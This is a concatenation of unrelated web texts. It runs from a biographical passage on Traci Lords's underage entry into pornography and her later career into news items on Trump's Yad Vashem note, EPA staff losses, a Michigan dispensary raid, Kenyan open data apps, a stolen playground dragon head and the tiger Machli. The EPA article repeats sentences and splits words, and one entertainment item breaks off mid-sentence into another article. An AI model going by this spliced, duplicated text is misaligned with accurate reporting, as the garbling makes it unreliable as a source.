At age 14,[11] Kuzma became pregnant by her high school boyfriend. Afraid of her mother's reaction, she went to Hayes for help. He arranged for her to have an abortion without her mother's knowledge.[12][13] Looking for a job to get some money, she was introduced to his friend and started working for her as a babysitter. The woman offered to improve Kuzma's job opportunities by helping her get a fake driver's license. She provided Kuzma with a new birth certificate on condition that if she were ever caught she would say that she had stolen the phony identification.[14] Kuzma now had a new driver's license with the name Kristie Elizabeth Nussman that stated she was 22 rather than 15 years old. She was now able to line up a few job interviews. In February 1984, Kuzma answered a newspaper advertisement for Jim South's World Modeling Talent Agency. Posing as her stepfather, Hayes drove her to the agency.[8] After signing a contract, she began working as a nude model and appeared in magazines such as Velvet, Juggs, and Club. During August, when she was selected to model for Penthouse magazine's September 1984 15th-anniversary issue, Kuzma was asked to choose a stage name. She chose Traci—one of the popular names she had longed for growing up—and Lords, after the actor Jack Lord, since she was a fan of the television series Hawaii Five-O, in which he portrayed the character of Steve McGarrett. Some of her schoolmates recognized her in the Velvet magazine pictorial. Lords subsequently quit high school at age 15 and entered the sex industry, where formal education was irrelevant. The Penthouse issue featured Lords in a nude centerfold (age 15 when photos were taken).[15] She earned $5,000 for the shoot which became the best-selling issue in the history of the magazine, partly because it also featured a nude pictorial of Vanessa Williams (appearing with George Burns on the cover photograph), who had won the Miss America Pageant the previous year. Lords' article gave the false information that she was 22 years of age, was a virgin until nineteen, and had studied interior design at El Camino College.
Lords made the first of her many illegal movies during October 1984, when she appeared in What Gets Me Hot! alongside Tom Byron, who later became her boyfriend off-screen.[16] She first appeared only in a non-sex role but was later replaced with a hardcore scene. In her next movie, Those Young Girls, she appeared in a sex role alongside Harry Reems and Ginger Lynn. After appearing at age 16 with John Leslie (an actor 23 years her senior) in the porno parody Talk Dirty to Me Part III (which won the AVN Award for the best movie), Lords was hailed as the "Princess of Porn".[17] She became one of the highest-paid porn actresses of that time, earning more than $1,000 a day. Besides her work in porn, she also appeared in the music video for "Gimme Gimme Good Lovin'" by the heavy metal band Helix. Lords continued making more movies until the autumn of 1985 when she tried to quit the industry at age 17, but returned a few months later. Afterward, she met Stuart Dell, who became her boyfriend, manager, and business partner. They formed the Traci Lords Company. Dell and Lords made a distribution deal with Sy Adler, an industry veteran who ran Vantage International, that they would produce three movies for the company. During March, the first TLC feature, Traci Takes Tokyo, was released. The second, Beverly Hills Copulator, was released afterward, but the third movie, Screamer, was shelved.[16][18]
During late May 1986 (around three weeks after Lords' 18th birthday), authorities discovered she had been underage when she appeared in the porn movies. She had lied to law enforcement, photographers, producers, directors, co-workers, and the general public for two years. The owners of her movie agency and X-Citement Video, Inc. were arrested (see United States v. X-Citement Video, Inc.). She was taken into protective custody and hired high-profile lawyer Leslie Abramson. On July 10, district attorney's investigators searched Lords' Redondo Beach home as well as the Sun Valley offices of Vantage International Productions (a major producer of adult movies) and the Sherman Oaks offices of modeling agent Jim South. South and other industry officials said that Lords, who was seeking employment, provided a California driver's license, a U.S. passport, and a birth certificate, which stated that her name was Kristie Nussman and gave a birth date of November 17, 1962. Leslie Jay, a spokeswoman for Penthouse publisher Bob Guccione, also said Lords showed identification indicating that she was older than 18 before the illicit photos for the September 1984 issue were taken.[19] When investigators used Lords' fake birth certificate and fake state identification cards to locate the real Kristie Nussman, Nussman said that her birth certificate had been stolen a few years earlier and that an impostor had apparently forged her name on official forms. Two adults who knew Lords, but who requested anonymity, said they saw her picture in the adult magazine Velvet during July 1984, and telephoned the district attorney's office to inform authorities that she was underage, but that an investigator told them, "There isn't anything we can do about it."[20][21]
On July 17, 1986, video rental shops and adult movie theaters in the USA were ordered to withdraw from their shelves all hardcore material featuring Lords because the videos were classified as child pornography. John Weston, attorney of the Adult Film Association of America, said distributors should withdraw any movie made before May 1986, featuring Lords "in sexual conduct, no matter how briefly". The withdrawal of Lords' movies from the market cost the industry millions of dollars.[19][22][23] Government prosecutors declared Lords was a victim of a manipulative industry, maintaining that she was drugged and made to do non-consensual acts.[24] Industry insiders, including Ron Jeremy, Tom Byron, Peter North, and Ginger Lynn said they never saw her use drugs and that she was always fully aware of her actions. While most of her movies were permanently removed from distribution in the United States, several were re-edited to remove Lords' scenes entirely (such as Kinky Business and New Wave Hookers), or in a few cases, had new footage filmed with a different actress playing her part (as in Talk Dirty to Me Part III). The only movie legally available in the United States was Traci, I Love You, filmed in Cannes, France[25] only two days after her 18th birthday.[18] She sold her rights to Traci, I Love You during early 1987 for over $100,000. This action resulted in claims that she herself had tipped off the authorities to gain immunity from prosecution while being the only one to profit from the movie. Lords denies this notion in her autobiography and says she was reluctant to sell the rights, since at that time she was trying to become a mainstream actress, and wanted no older movies still available. Traci, I Love You was the last porn film that featured Traci Lords. Lords was offered enormous sums of money to continue in porn, but she declined the requests.[citation needed]
1987–91: Transition to mainstream, Not of This Earth and Cry-Baby [ edit ]
After spending several months in therapy, Lords decided to concentrate on acting. She enrolled at the Lee Strasberg Theatre and Film Institute, where she studied method acting for three months. After leaving the school, Lords placed an advertisement in The Hollywood Reporter looking for representation. She was contacted by Fred Westheimer and although the agency declined to officially represent her, he decided to send her out on a few auditions. As a result, she was offered a guest role in an episode of the television series Wiseguy.[26] Shortly afterwards, she met the director Jim Wynorski, who was directing the remake of Roger Corman's 1957 sci-fi classic Not of This Earth. He immediately cast Lords into the lead role of Nadine Story, and Not of This Earth (1988) became her first mainstream film debut since her departure from the adult film industry. Although the film failed at the box office, it did well in video sales. Based on that success, Lords was offered to appear in Wynorski's next film, The Haunting of Morella (1989). However, Lords turned down the offer due to the requirement of having a nude scene, since she was trying to establish herself as a serious actress.[27] She also signed with a modeling agency under her birth name Nora Kuzma and appeared on two covers of Joe Weider's magazine Muscle & Fitness.[28] Around that time, Lords became a spokesperson for Children of the Night, an organization for runaways and abused children, and was planning to release a book titled Out of the Blue: The Traci Lords Story.[29]
In November 1988, Lords enrolled in another acting class and again began looking for an agent. In December, she mass-mailed her resume to various agents and arranged a meeting with Don Gerler. Lords auditioned for the part of Breathless Mahoney in the film Dick Tracy (1990), but the role went to Madonna.[30] In March 1989, John Waters auditioned her for his teenage comedy musical Cry-Baby (1990).[31] She won the role and appeared in the film alongside Johnny Depp and Ricki Lake. The film was a critical and commercial success, and her portrayal of the rebellious teenager Wanda Woodward established her as a legitimate actress. On the set of the film, she met the property master Brook Yeaton, whom she began dating. The couple married in September 1990 in Baltimore, Maryland.[32] In June 1990, the exercise video Warm up with Traci Lords was released. Directed and produced by her former boyfriend and business partner Stewart Dell, the video had been filmed in early 1988.[33] As Lords wrote in her autobiography, she was unsatisfied with the final version of the video. An extended version was reissued in 1993 under the title Traci Lords: Advanced Jazzthetics.
In 1991, Lords starred in the thriller Raw Nerve and the action crime film A Time to Die. Lords appeared in such popular TV shows as Roseanne, Married with Children, MCGuyer and Hercules. She continued modeling and walked the runway for fashion designers such as Janet Howard and Thierry Mugler.[34]
1992–96: Breakthrough, 1000 Fires and Melrose Place [ edit ]
During 1992, Lords decided to emphasize her career as a recording artist. She first got signed to a development deal with Capitol Records.[35] After meeting with Rodney Bingenheimer at a birthday party, she was recommended to Jeff Jacklin, who hired her to record the song "Love Never Dies" for the movie Pet Sematary Two (1992). The producer of the soundtrack, Gary Kurfirst, signed Lords to his company Radioactive Records. She was later featured on the songs "Little Baby Nothing" by Manic Street Preachers and "Somebody to Love" by Ramones. During 1993, Lords was cast in the television adaptation of Stephen King's novel The Tommyknockers.[36][37]
During the spring of 1994, Lords began working on her debut album. The company arranged her to fly to London and meet with producer Tom Bailey. After finishing her recording with Bailey, Lords was introduced to producer Ben Watkins of Juno Reactor with whom she recorded more techno-influenced songs. She later met Mike Edwards, the main singer of the band Jesus Jones. Around the same time, Lords was cast in the television series Roseanne, appearing in three episodes. During January 1995, Lords appeared in four episodes of the television series Melrose Place, where she played the part of Rikki Abbott.[38][39] Her debut studio album, 1000 Fires, was released on February 28, 1995. It received generally positive reviews and the lead single "Control" peaked at number two on the Billboard Hot Dance Club Songs.[40] An instrumental version of "Control" was remixed and released on the soundtrack to Mortal Kombat (1995), which was certified double platinum by the Recording Industry Association of America (RIAA). The album's second single, "Fallen Angel", was also successful in charts, peaking at number eleven on Hot Dance Club Songs.[40] The Paul Oakenfold remix of the song was included on the soundtrack of the movie Virtuosity (1995), in which Lords had a cameo appearance. After the release of the album, Lords embarked on a small tour performing as a DJ, mostly in Miami nightclubs.[41] On August 12, 1995, she was the opening act of the Lollapalooza after-party, Enit Festival, alongside Moby, Sven Väth, DJ Keoki and Single Cell Orchestra.[42][43]
By the end of 1995, Lords divorced her husband of five years, Brook Yeaton.[44] In 1996, she appeared in a commercial for GUESS with Juliette Lewis.[45]
1997–2002: Profiler, Blade and First Wave [ edit ]
In 1997, Lords appeared in a small part in the Gregg Araki film Nowhere, and starred in the drama thriller Stir.[46][47] She also guest starred on television series Nash Bridges and Viper.[48] In November, she became a recurring cast member in the second season of the crime television series Profiler. She played a felon, Sharon Lesher, who is manipulated by a serial killer Jack-of-All-Trades and eventually becomes his partner in crime Jill-of-All-Trades.[49] In 1998, Lords had a supporting role in the crime thriller Boogie Boy and starred in the drama Extramarital.[50] She also appeared in the action horror film Blade (1998) in which she played the vampire seductress Racquel. Lords was eventually approached to appear in the sequel Blade II (2002) portraying Racquel's twin sister Valerine in seeking of vengeance upon Blade. However, she turned down the offer because of her contradictory schedule.[51] At the premiere of the film, Lords announced she was finishing her sophomore album on Radioactive Records that would be released in the spring of 1999. However, it was later neglected after she left the record label. In August, Lords ended her two-year relationship with John Enos after they reportedly got into an argument because her cat was killed by one of Enos' dogs.
In 2000, Lords had lead roles in the films Epicenter and Chump Change. Her role of Sam in the romantic comedy Chump Change earned her the Film Discovery Jury Award for Best Actress at the U.S. Comedy Arts Festival.[52] In September, she became a regular cast member in the third season of the Sci-fi Channel television series First Wave, becoming the first recurring female character to be featured on the series. She played Jordan Radcliffe, an heiress and leader of the Human Resistance Group "The Raven Nation" after the aliens used her brother to murder her parents.[53][54]
2003–06: Underneath It All [ edit ]
Her autobiography, Traci Lords: Underneath It All, was published during July 2003 by HarperCollins. In the book, Lords chronicled her childhood, career and brief time in the x-rated industry. The book received positive reviews from critics and was a commercial success making The New York Times Best Seller list. It was criticized by pornographers, who claim they were the victims. In the book, Lords revealed that she received about $35,000 as total compensation for all her porno movies, including the $5,000 for her underage appearance in Penthouse. Lords continued to use the now-famous stage name that she had given herself as a minor and ultimately made it her legal name. She explained, "I chose to stop running from it. Instead, I won it, legally changing my name to Traci Elizabeth Lords. That's who I was, and that's who I was going to be." In her interview with Oprah Winfrey she stated: "I found you can run, but you cannot hide."
During 2003, it was announced that Lords was working on new music and had recorded a cover version of Missing Persons' song "Walking In L.A.". Directed by Mike Ruiz, the music video was premiered during her interview on The Oprah Winfrey Show. On December 28, 2004, she independently released two songs, "Sunshine" and "You Burn Inside of Me", via online music store CD Baby. Both of the songs along with "What Cha Gonna Do" was featured in the television series Joan of Arcadia. "You Burn Inside of Me" was also used in the commercial for Duprey Cosmetics, in which Lords appeared. She signed to Sea To Sun records the following year, and released the chart-topping single "Last Drag". Lords is currently recording new music in Los Angeles.
2007–09: Motherhood and Zack and Miri Make a Porno [ edit ]
By the beginning of 2007, Lords became unexpectedly pregnant.[55][56] She first announced her pregnancy in June: "I kind of thought the children thing was off the table. Now I'm expecting a boy! We're stunned and thrilled. I just want you to know, these 36-Ds are mine. I haven't had a boob job, she laughed! I am 51⁄ 2 months pregnant! But now I'm starting to show. And my husband is happy with the changes in my figure."[57][58] On October 7, 2007, at the age of 39, she gave birth to a son, Gunnar Lee, her first child with her husband of five years, Jeff Lee.[59]
In January 2008, it was announced that Lords had been cast in Kevin Smith's comedy Zack and Miri Make a Porno (2008).[60][61] She said that at first she wanted to refuse but changed her mind after reading the script. "It was really great that in taking the movie because I didn't plan on going back to work right away, but I was dying to work with Kevin. I never thought it would be on something called Zack and Miri Make a Porno. What? So I went and I read the script at his house and I was prepared to say no. I thought I have the perfect out. I just had a kid. No one is going to blame me if I say I just can't do this right now. But it made me laugh out loud and it made me just literally cry. It was just funny."[62][63] Initially, the character had a topless scene in the movie, but Lords refused. I'm done with all that, she said. Lords chose to breastfeed her son in between takes instead.[64] Katie Morgan, a pornographic actress, also appeared in the film.[65]
In 2009, Lords appeared in the direct-to-DVD science fiction movie, Princess of Mars, alongside Antonio Sabàto, Jr. She was disappointed by the final project. "Somewhere in my heart of hearts, I was worried that it might be a crummy movie. The production was just too careless. But I believed the voices of those around me who said 'No, it'll be artistic, no, it'll be creative. You'll look beautiful. We have a very limited budget but honest, you'll be proud.' They were wrong, it was very bad. At least that was what I was told. After watching the first two minutes I had to turn it off and hide under the covers."[66]
2010–14: Return to music and Excision [ edit ]
In March 2010, Lords announced she began working on her new album with "Pretty" being the lead single. However, the project was later shelved and "Pretty" was released as a promotional single only. Lords starred in the drama comedy Au Pair, Kansas which premiered in April 2011 at the Kansas City FilmFest.[67] In July, Lords officially signed to independent record label Sea To Sun Recordings and in October made her musical comeback with the song "Last Drag". The single was successful in dance charts debuting at number forty-five and eventually peaking at number four on the Billboard Dance Club Songs.[68]
Lords starred alongside AnnaLynne McCord and Ariel Winter in the horror Excision (2012), which premiered in January 2012 at the Sundance Film Festival. Her portrayal of the controlling mother Phyllis earned Lords Fangoria Chainsaw Award for Best Supporting Actress as well as Fright Meter Award and CinEuphoria Award.[69] In September, Lords released a compilation of dance music Traci Lords Presents: M2F2 (2012). It featured three of her own remixed tracks as well as songs by other artists.[70] The song "He's My Bitch" managed to chart on the Billboard Dance Club Songs peaking at number twenty-five.[71] Lords also voiced the character of Layla Stockton in the 2012 video game Hitman: Absolution.[72] Following the Steubenville High School rape case, Lords spoke up on the topic and subsequently released the song "Stupidville" as a response to the case. "I was born in Steubenville, Ohio and I was raped in there. So was my mother. I think there's a sickness in that city," Lords said. In 2013, Lords appeared in the horror movie Devil May Call (2013) and an episode of the web series EastSiders. She was nominated for the Best Guest Star – Drama at the 2014 Indie Series Awards. She is currently starring in the hit comedy Swedish Dicks on PopTV. Keanu Reeves and Peter Stormare co-star.
2015–present: Fashion career and upcoming directorial debut [ edit ]
Designer Laura Byrnes and Lords at the Pinup Girl Clothing launch party, 2016
In May 2015, Lords appeared in an episode of the fourth season of the reality television series Celebrity Wife Swap, where she swapped lives with Jackée Harry.[73] Lords co-starred in Jim Wynorski's television horror Sharkansas Women's Prison Massacre (2015) and made her second appearance as Val on the series EastSiders.[74] In March 2016, Lords co-starred in the television thriller Nightmare Nurse (2016) in which she played a psychopathic nurse looking for revenge for her dead husband.[75] Lords voiced several characters in the action-adventure video game Hitman (2016) after having had previously voiced the character of Layla Stockton in Hitman: Absolution (2012). In June, Lords announced her collaboration with Pinup Girl Clothing. The first pieces from her collection were inspired by the character of Wanda Woodward from Cry-Baby (1990) as well as 1950s fashion; the clothing line is available exclusively through the Pinup Girl Clothing website. She commented on her inspiration behind the line: "John [Waters] wrote such strong characters in Cry-Baby. And in that rockabilly, punk rock, vintage pin-up girl kind of world, Wanda Woodward is pretty much a queen."[76]
Lords co-starred in the Viaplay original comedy series Swedish Dicks. She played Jane McKinney, a private investigator and competitor of the show's protagonist.[77] In October, the series was renewed for a second season with Lords as a confirmed cast member.[78] In the United States, the first season premiered in August 2017.[79] Later that month, Lords confirmed she would direct her first feature film called The Unquiet Grave. Filming was scheduled to commence in 2017.[80] In November, it was announced that Lords voiced the character of Jackal Z in the upcoming video game Let It Die (2016), and will appear on the third season of EastSiders.[81] In July 2017, Helmut Lang's fashion campaign for the Fall 2017 collection featuring Lords was unveiled.[82] In May 2018, Lords released the single "Come Alive" as a gift for her fans in celebration of her 50th birthday.[83] Following the release it was announced that she began working on an EP with Adam Barta and Jordan Von Haslow.[84] In July, the second season of Swedish Dicks premiered in the United States.
Activism [ edit ]
Lords is a strong supporter of the LGBT community.[85]
Filmography [ edit ]
Discography [ edit ]
Bibliography [ edit ]
Awards and nominations [ edit ]
See also [ edit ]
References [ edit ]President Donald Trump has left a guest book entry at the Israeli memorial for the Holocaust that some have observed looks a lot like what you might expect a teenager to write in a yearbook at the end of a school year.
In typical Trump fashion, the message he left at Yad Vashem was full of enthusiastic adjectives, and was, at least compared to his predecessor’s message, pretty short. It clocked in at less than 140 characters — so it could have easily been written on a Twitter app at 3 a.m. It also did not mention the Holocaust.
“It is a great honor to be here with all of my friends,” he wrote. “So amazing + will never forget!”
Some commentators on social media called the note “outrageous,” while others said it was “sad.”
“The note Trump left at Israel’s holocaust memorial is what you write in someone’s yearbook that you don’t know very well,” a US-based journalist wrote.
Other Twitter users contrasted Mr Trump’s note to that of former President Barack Obama’s, who visited the memorial during his first presidential campaign 2008. Mr Obama’s message was much longer and spoke to the importance of remembering the history of the Holocaust, and to the resilience of the human spirit.
Left: Trump's note at Israel's Holocaust Memorial.
Right: Obama's note from 2008.
The difference is staggering. https://t.co/IslRNliGU6pic.twitter.com/djTRmZC3o3
— Ryan Carey-Mahoney (@thegoodcarmah) May 23, 2017
“I am grateful to Yad Vashem and all of those responsible for this remarkable institution,” Mr Obama wrote. “At a time of great peril and promise, war and strife, we are blessed to have such a powerful reminder of man’s potential for great evil, but also our capacity to rise up from tragedy and remake our world. Let our children come here, and know this history, so that they can add their voices to proclaim ‘never again.’ And may we remember those who perished, not only as victims, but also as individuals who helped and loved and dreamed like us, and who have become symbols of the human spirit.”
That the two presidents took a different approach to writing in a museum guest book shouldn’t be surprising. Mr Obama was widely regarded as a bookish and even monkish president who would dive into the intricacies of policy. Mr Trump reportedly takes a different approach to his job, preferring shorter briefings on issues with bullet points condensed into as few pages as possible.
The chairman of the Yad Vashem memorial, Avner Shalev, said that Mr Trump’s brief guestbook note wasn’t offensive, and that the President had given “very meaningful” remarks before writing the note.
“He touched all the essential elements that should be touched” like remembering victims of the Holocaust and standing up to evil, Mr Shalev told ABC News.
Related:
Watch news, TV and more Yahoo View, available on iOS and Android.Since Environmental Protection Agency Administrator Scott Pruitt took over the top job at the agency in March, more than 700 employees have either retired, taken voluntary buyouts, or quit, signaling the second-highest exodus of employees from the agency in nearly a decade.
According to agency documents and According to agency documents and federal employment statistics, 770 EPA employees departed the agency between April and December, leaving employment levels close to Reagan-era levels of staffing. According to the EPA’s contingency shutdown plan for December, the agency currently has 14,449 employees on board — a marked change from the April contingency plan, which showed a staff of 15,219.
“ There has been a drop of employees of 770 between April and December. While several hundred of those are buyouts, the rest of those are either people that are retiring or quitting in disgust,” Kyla Bennett, director of New England Public Employees for Environmental Responsibility (PEER), told ThinkProgress. “Is that number higher than it would normally be? I think it is.”
, the agency set aside $12 million in 2017 for buyouts as part of an effort to reshape the agency under the Trump administration. Unlike in 2014, when the agency saw some 456 buyouts, the most recent buyouts were not a result of Congressional pressure or enacted cuts — rather, the buyouts were in an According to the Washington Post, the agency set aside $12 million in 2017 for buyouts as part of an effort to reshape the agency under the Trump administration. Unlike in 2014, when the agency saw some 456 buyouts, the most recent buyouts were not a result of Congressional pressure or enacted cuts — rather, the buyouts were in an apparent attempt to bring the agency more in line with operations detailed in the Trump administration’s proposed budget, which suggested a 31 percent cut to the agency, including the complete elimination of several agency programs.
The EPA did not respond to ThinkProgress’ request for comment.
The offices most impacted by buyouts, retirements, or employees choosing to leave the agency are the Office of Chemical Safety and Pollution Prevention, which has lost 59 employees since April, the Office of Research and Development, which has lost 84 employees since April, and the Office of Enforcement and Compliance, which has lost 56 employees since April.
“Overall, large numbers of people leaving the EPA in this day and age is terrible,” Judith Enck, who served as Regional Director for EPA Region 2 during the Obama administration, told ThinkProgress. “Rolling back enforcement is very troubling — it essentially means that people are going to breathe dirtier air and drink dirtier water.”
The offices that have suffered the heaviest losses under the latest restructuring have also been marked by controversy since Pruitt took over and began implementing the Trump administration’s deregulatory agenda, which environmental and public health groups worry is often carried out by political appointees with clear ties to industry. The offices that have suffered the heaviest losses under the latest restructuring have also been marked by controversy since Pruitt took over and began implementing the Trump administration’s deregulatory agenda, which environmental and public health groups worry is often carried out by political appointees with clear ties to industry. Nancy Beck, for instance, who now serves as Deputy Assistant Administrator for the Office of Chemical Safety and Pollution Prevention, took the position after five years working for the American Chemistry Council, the main lobbying arm for the chemical industry. Since coming to the EPA, public health groups have criticized Beck for implementing a number of changes to the way the agency tracks, reports, and regulates potentially toxic chemicals, potentially at the behest of industry. Beck joined the agency in May, well before the September deadline for employees looking to take voluntary buyouts.
Buyouts and exiting staff have also had an outsized impact on the agency’s scientific work. During a recent congressional oversight hearing, Pruitt praised EPA scientists, Buyouts and exiting staff have also had an outsized impact on the agency’s scientific work. During a recent congressional oversight hearing, Pruitt praised EPA scientists, telling representatives that “it is important that we hear from our scientists internal to the agency.” But the Office of Research and Development, which functions as the scientific research arm of the agency, has lost more employees during Pruitt’s tenure than any other office. This comes as Pruitt attempts to limit the ability of scientists who have received grants from the EPA from serving on the agency’s independent science advisory boards, which examine scientific issues related to EPA regulations and make recommendations to the agency.
Losing staff from the agency’s Office of Enforcement and Compliance has also likely hampered the agency’s enforcement efforts, which have Losing staff from the agency’s Office of Enforcement and Compliance has also likely hampered the agency’s enforcement efforts, which have dropped considerably under Pruitt. According to reporting by the New York Times, enforcement under the Trump administration has declined sharply at the EPA, with the agency filing just one-third of the number of civil cases against polluters than in the first nine months of the Obama administration; the penalties sought in those cases are 39 percent lower than those sought under the Obama administration.
Enck distinguished between the 2014 buyouts, which she said were essentially foisted upon the agency by the Congressional budget, and the most recent round of buyouts, which she sees as politically-motivated.
“ In 2014, we did it reluctantly and we did it carefully, and it wasn’t based on ideology,” she told ThinkProgress. “[The Trump administration] jo yfully did this long before Congress required cuts. That’s pretty big.”
But John O’Grady, president of the American Federation of Government Employees Council 238, which represents over 9,000 EPA employees, said that both the 2014 and 2017 buyouts felt disorganized and left the agency without enough workers to carry out its core mission.
“T hey have no basis for doing a downsizing like this,” O’Grady said. “That’s what’s scary. It’s just, ‘Let’s get rid of people.’ That’s disturbing.”
It’s likely the EPA will see more buyouts after Congress passes the budget for 2018, which will is expected to include cuts to the agency, though not nearly as deep as the Trump administration proposed. The federal budget that passed in the House slashes the agency’s budget by more than $500 million, which would be It’s likely the EPA will see more buyouts after Congress passes the budget for 2018, which will is expected to include cuts to the agency, though not nearly as deep as the Trump administration proposed. The federal budget that passed in the House slashes the agency’s budget by more than $500 million, which would be less than 75 percent of its 2010 funding levels.Two days after the Ferndale City Council voted to lift a moratorium on medical marijuana businesses, authorities on Wednesday evening raided the city's only existing pot dispensary.
local police officers and the Oakland County Sheriff's Office Narcotics Team raided the Clinical Relief medical marijuana clinic on Hilton Road. Police tell the newspaper they also raided Everybody's Cafe in Waterford Township and private residences in Oakland and Macomb counties.
Authorities say at least 15 people were arrested in the raids on allegations the clinics were violating Michigan's medical marijuana law, as approved by voters in 2008.
"They took medical records, they violated patients' rights," Clinical Relief co-owner Nick Agro
this morning. "It's very clear in the state statute that no patient or care-giver is to be arrested. Every individual that was in that place (the clinic) was either a patient or a care-giver, and Oakland County has taken charge and arrested those individuals."
RELATED CONTENT
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Ferndale City Council on Monday
by allowing medical marijuana-related business owners to apply for special land use permits in light industrial, heavy industrial and -- provided less than 20 percent of their space is use for growing -- office districts.
, which opened in June, operates outside the newly-approved zoning areas but was grandfathered in to allow it to remain at its current location. Ferndale police previously toured the facility and deemed it legal.
Mayor Craig Covey joined reporters at the clinic earlier this summer, discussing how medical marijuana-friendly policies could help suffering patients while attracting new businesses to the city.
"Some people seem to be freaked out about this subject,"
"We seem to have gotten overly dramatic about this issue, but we’re not the first city to have one of these facilities and there are others that I know of in Oak Park, Southfield, Ypsilanti and Ann Arbor."
Co-owner Ryan Richmond, a real estate investor from Royal Oak, told the newspaper in June that Clinical Relief obtains marijuana from registered caregivers and does not grow or allow smoking on the premises.
"Most medical marijuana patients don’t have a source they can go to consistently," he said. "Once patients have a state-issued ID card they are welcome to come to our clinic."
Update:
The Michigan Attorney General's Office says it was not involved in the raids.Despite issuing multiple warnings, Netflix’s A Series of Unfortunate Events continues to tell viewers to “look away” from the show, especially with the show set to premiere this Friday.
This time, the ominous message comes in the form of the show’s opening credits (seen exclusively above), though what’s slightly unusual about it is that it’s none other than Count Olaf’s portrayer, Neil Patrick Harris, singing the warning. As fans familiar with the books (or even previous trailers) will know, the character — who is the Baudelaire orphans’ third cousin four times removed, or their fourth |
are in short supply and expensive. “I think mobile phones will be used for lot of querying of data using SMS via a USSD platform,” said Colaço. “Mobile web and SMS will be used to reach rural areas.”
There’s plenty of local technical talent to make great apps, she emphasized, pointing to the growth of M-PESA, Kenya’s mobile banking system, and the success of the Ushahidi platform for crowdsourced information gathering as evidence of Kenya’s vibrant mobile ecosystem and local development community. “An innovation such as Ushahidi being so simple and being used worldwide goes to show that when there’s a problem and a need for it, we have the resources in house to solve it,” she said.
Robert Alai, a Kenyan blogger who covered the Open Kenya press conference, said via Skype that a $100 Android smartphone device launched in December led in smartphone sales by March. “There’s a very big community,” he said, with one government agency estimate that by the end of 2012, almost every Kenyan household will have a smartphone. And at least some of that adoption was being driven by the demand for access to Facebook on mobile phone. Alai put Kenyan success on the World Stage with Ushahidi and M-PESA in the context part of a larger push towards joining the innovation economy. “Kenyans are very excited about making money from applications,” he said. “A Kenyan won a prize in the World Bank competition, in Nokia’s competition and others.”
Alai predicted that the open government data Kenya is releasing will find even more use in the development community. “Developers have been saying that when they want to create applications, it’s very difficult to get data,” he said. “When we process data, we can create applications that will make it useful.” Alai focused on the importance of releasing county level data. “Existing applications is applications are not being used to solve real life problems or used locally, yet,” he said. “They need local data. Costs are currently very high to get it. There’s a very big hunger for the data. I hope as the platforms are built that they’ll pan out well.”
In the future, Colaço hopes to see apps that create feedback loops between citizens carrying mobile phones and their government, where health, water, sanitation and education projects are monitored by everyone. “Open data does make government more accountable to the citizens, increasing trust between the government and citizens, and enhances collaboration, acting as a kind of the audit,” she said. “If you see inconsistencies, feedback in your application could report it.”
Here come the apps
Data visualizations will be among the first applications to use the open data, Colaço said. “You can actually see what’s being utilized intensely in different areas, using heatmaps. In the northeast, for instance, funds have been used for drought and famine.”
It’s in that context, perhaps, that one of the value propositions of open government data will be tested first. This week in Kenya, police tear-gassed maize and fuel price protestors as millions of lives are threatened by historic draughts in the Horn of Africa. No application can bring the rains nor data visualization deliver food to a starving child. Citizens equipped with mobile phones can, however, tell their governments where and when aid has or hasn’t arrived. In time, they can look at the government’s resource allocations in different regions and see if it matches up with reality on the ground. With better data and tools to analyze it, government itself can track what’s happening and where.
Those kinds of apps may not be long in coming. Eric Hersman (@WhiteAfrican), co-founder of Ushahidi and founder of the iHub, published a comprehensive review of Kenya’s open data initiative* that demonstrates that apps are already online:
The Ushahidi team took census data and mashed it up with healthcare institution data on their Huduma site
An SMS query apps allows Kenyan to text the name of their county or constituency to 3018. In return, they’ll receive a text with the demographics and minister of parliament of that location.
The iHub community built a mobile app called “Msema Kweli” that allows a citizen to find Constituency Development fund projects near them and add pictures of them
“There have been many people pushing for this, over many months, and it’s been an exciting process to watch unfold,” wrote Hersman. “Foremost amongst the drivers on this has been Dr. Bitange Ndemo, the Permanent Secretary of Information and Communications. This is indeed a very proud moment for Kenya, and a leading position to take on the continent.”
When the needs of the many are great, the empowered have a civic responsibility to help. Open government data offers those who want to help their fellow citizens a new form of civic participation. Science fiction author William Gibson famously said that “the future is here, it’s just not evenly distributed yet.” Perhaps this week, and in the years ahead, even more Kenyans will be showing the world what it looks like.
Related:
*An earlier version of this post included a link to Hersman’s citation of Open Kenya as Africa’s first national open data platform. As Nick Judd pointed out at techPresident, Morocco launched its open data platform first.WAYNE, Mich. - A 19-year-old Wayne man was arrested this month for stealing a large green dragon head and turning it into a pipe to smoke marijuana, police said.
Nathan Richard Pearson is accused of stealing a large green dragon head on Christmas Day 2015. Police said the dragon head was part of a play structure in the 5000 block of Chamberlain Street.
Police had a warrant for Pearson after the incident, but they didn't find him for more than five months. On May 21, 2016, officers from the Wayne Police Department found the dragon head at a home in Wayne. They said it had been turned into a large pipe to smoke marijuana.
Investigators obtained an arrest warrant for Pearson, who is charged with larceny of property worth $1,000 or more and malicious destruction of property worth $1,000 or more.
Pearson was arraigned June 17 at 34th District Court. He is being held on $10,000 bail.
A preliminary examination is scheduled for July 11.
Stay with ClickOnDetroit.com for updates.
Copyright 2017 by WDIV ClickOnDetroit - All rights reserved.A tiger of unusually advanced age—19—died Thursday at a park in India, prompting an outpouring of support from the public.
The tigress, named Machli, had been the star attraction at Ranthambore National Park, a popular tourist destination in north-west India. She was one of the country's most famous tigers and has appeared in several wildlife documentaries (learn more about tigers there). Machli—whose name is the Hindi word for fish, due to fish-like markings on her face—was even sometimes known as the “Queen of Ranthambore,” in part because of her famous battle with a crocodile there, says Krithi Karanth, a National Geographic Explorer who studies tigers and other wildlife in India
Machli (also written as Machali or Machhli) reportedly died of old age. She had stopped eating or moving for about a week before her death.
Tigers in the wild usually only live 12 to 14 years, says Karanth, who saw Machli at her home in Ranthambore years ago. But the tigress lived to such an old age thanks to care by forest officials.
The famous tiger brought in a reported $10 million to the park every year, but Karanth says it's important not to get too distracted by individual animals. Tigers remain critically threatened in the wild, she says.
View Images Machli was cremated in a public ceremony. Photograph by STR, AFP/Getty
A global survey published in April estimated there are 3,890 wild tigers, up from 3,200 in 2010, when countries announced a historic commitment to double the population by 2022. (Some scientists have criticized that survey, but it remains the most comprehensive to date.)
According to the survey, two-thirds of the world's tigers now live in India, where they’ve increased from 1,706 to 2,226 during the past five years. The country has stepped up anti-poaching patrols and offers compensation to farmers or villagers who experience injury or loss from tigers, as a means of preventing retaliatory killings. India has also invested in sustainable tourism around tiger reserves, a model that seems to be working so well that officials are talking about expanding the reserve system. (Learn more about tiger conservation in India.)
National Geographic's Big Cats Initiative has supported much of this work, some of which is overseen by Karanth.
